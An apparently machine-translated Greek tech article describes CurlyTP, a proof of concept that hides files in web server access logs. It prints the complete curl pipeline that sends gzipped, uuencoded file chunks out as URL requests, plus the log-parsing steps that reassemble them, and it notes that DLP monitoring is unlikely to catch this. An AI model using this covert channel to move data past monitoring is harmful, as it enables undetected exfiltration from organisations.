Ανταλλαγή μυστικών μηνυμάτων μέσω αρχείων καταγραφής διακομιστή

Σύμφωνα με τον ορισμό της Wikipedia, το dead drop είναι ένα εργαλείο συνωμοσίας που χρησιμεύει για την ανταλλαγή πληροφοριών ή ορισμένων αντικειμένων μεταξύ ανθρώπων που χρησιμοποιούν μια μυστική τοποθεσία. Η ιδέα είναι ότι οι άνθρωποι δεν συναντιούνται ποτέ - αλλά εξακολουθούν να ανταλλάσσουν πληροφορίες για να διατηρήσουν τη λειτουργική ασφάλεια.

Η κρυψώνα δεν πρέπει να τραβάει την προσοχή. Ως εκ τούτου, στον κόσμο εκτός σύνδεσης χρησιμοποιούν συχνά διακριτικά πράγματα: ένα χαλαρό τούβλο στον τοίχο, ένα βιβλίο βιβλιοθήκης ή μια κοιλότητα σε ένα δέντρο.

Υπάρχουν πολλά εργαλεία κρυπτογράφησης και ανωνυμοποίησης στο Διαδίκτυο, αλλά το ίδιο το γεγονός της χρήσης αυτών των εργαλείων προσελκύει την προσοχή. Επιπλέον, ενδέχεται να αποκλειστούν σε εταιρικό ή κυβερνητικό επίπεδο. Τι να κάνω?

Ο προγραμματιστής Ryan Flowers πρότεινε μια ενδιαφέρουσα επιλογή - χρησιμοποιήστε οποιονδήποτε διακομιστή ιστού ως κρυψώνα. Αν το σκεφτείτε, τι κάνει ένας διακομιστής ιστού; Λαμβάνει αιτήματα, εκδίδει αρχεία και γράφει αρχεία καταγραφής. Και καταγράφει όλα τα αιτήματα, ακόμα και λανθασμένες!

Αποδεικνύεται ότι οποιοσδήποτε διακομιστής ιστού σάς επιτρέπει να αποθηκεύσετε σχεδόν οποιοδήποτε μήνυμα στο αρχείο καταγραφής. Τα Flowers αναρωτήθηκαν πώς να το χρησιμοποιήσουν.

Προσφέρει αυτή την επιλογή:

  1. Πάρτε ένα αρχείο κειμένου (μυστικό μήνυμα) και υπολογίστε τον κατακερματισμό (md5sum).
  2. Το κωδικοποιούμε (gzip+uuecode).
  3. Γράφουμε στο αρχείο καταγραφής χρησιμοποιώντας ένα εσκεμμένα λανθασμένο αίτημα στον διακομιστή.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Για να διαβάσετε ένα αρχείο, πρέπει να εκτελέσετε αυτές τις λειτουργίες με αντίστροφη σειρά: αποκωδικοποιήστε και αποσυμπιέστε το αρχείο, ελέγξτε τον κατακερματισμό (ο κατακερματισμός μπορεί να μεταδοθεί με ασφάλεια σε ανοιχτά κανάλια).

Οι χώροι αντικαθίστανται με =+=ώστε να μην υπάρχουν κενά στη διεύθυνση. Το πρόγραμμα, το οποίο ο συγγραφέας αποκαλεί CurlyTP, χρησιμοποιεί κωδικοποίηση base64, όπως συνημμένα email. Το αίτημα γίνεται με λέξη-κλειδί ?transfer?ώστε ο παραλήπτης να μπορεί να το βρει εύκολα στα αρχεία καταγραφής.

Τι βλέπουμε στα αρχεία καταγραφής σε αυτή την περίπτωση;

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Όπως ήδη αναφέρθηκε, για να λάβετε ένα μυστικό μήνυμα πρέπει να εκτελέσετε τις λειτουργίες με αντίστροφη σειρά:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Η διαδικασία είναι εύκολο να αυτοματοποιηθεί. Το Md5sum ταιριάζει και τα περιεχόμενα του αρχείου επιβεβαιώνουν ότι όλα αποκωδικοποιήθηκαν σωστά.

Η μέθοδος είναι πολύ απλή. «Ο σκοπός αυτής της άσκησης είναι απλώς να αποδείξει ότι τα αρχεία μπορούν να μεταφερθούν μέσω αθώων μικρών αιτημάτων ιστού και λειτουργεί σε οποιονδήποτε διακομιστή ιστού με αρχεία καταγραφής απλού κειμένου. Ουσιαστικά, κάθε web server είναι μια κρυψώνα!» γράφει ο Flowers.

Φυσικά, η μέθοδος λειτουργεί μόνο εάν ο παραλήπτης έχει πρόσβαση στα αρχεία καταγραφής διακομιστή. Αλλά τέτοια πρόσβαση παρέχεται, για παράδειγμα, από πολλούς οικοδεσπότες.

Πως να το χρησιμοποιήσεις?

Ο Ryan Flowers λέει ότι δεν είναι ειδικός σε θέματα ασφάλειας πληροφοριών και δεν θα συντάξει μια λίστα με πιθανές χρήσεις για το CurlyTP. Για αυτόν, είναι απλώς μια απόδειξη της ιδέας ότι τα γνωστά εργαλεία που βλέπουμε καθημερινά μπορούν να χρησιμοποιηθούν με αντισυμβατικό τρόπο.

Στην πραγματικότητα, αυτή η μέθοδος έχει πολλά πλεονεκτήματα σε σχέση με άλλα «κρυφτά» διακομιστή όπως Digital Dead Drop ή PirateBox: δεν απαιτεί ειδική διαμόρφωση από την πλευρά του διακομιστή ή ειδικά πρωτόκολλα - και δεν θα προκαλέσει υποψίες σε όσους παρακολουθούν την κυκλοφορία. Είναι απίθανο ένα σύστημα SORM ή DLP να σαρώσει διευθύνσεις URL για συμπιεσμένα αρχεία κειμένου.

Αυτός είναι ένας από τους τρόπους μετάδοσης μηνυμάτων μέσω αρχείων υπηρεσίας. Μπορείτε να θυμηθείτε πώς τοποθετούσαν κάποιες προηγμένες εταιρείες Εργασίες προγραμματιστή στις κεφαλίδες HTTP ή στον κώδικα των σελίδων HTML.

Ανταλλαγή μυστικών μηνυμάτων μέσω αρχείων καταγραφής διακομιστή

Η ιδέα ήταν ότι μόνο οι προγραμματιστές ιστού θα έβλεπαν αυτό το πασχαλινό αυγό, αφού ένας κανονικός άνθρωπος δεν θα κοιτούσε τις κεφαλίδες ή τον κώδικα HTML.

Ανταλλαγή μυστικών μηνυμάτων μέσω αρχείων καταγραφής διακομιστή

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο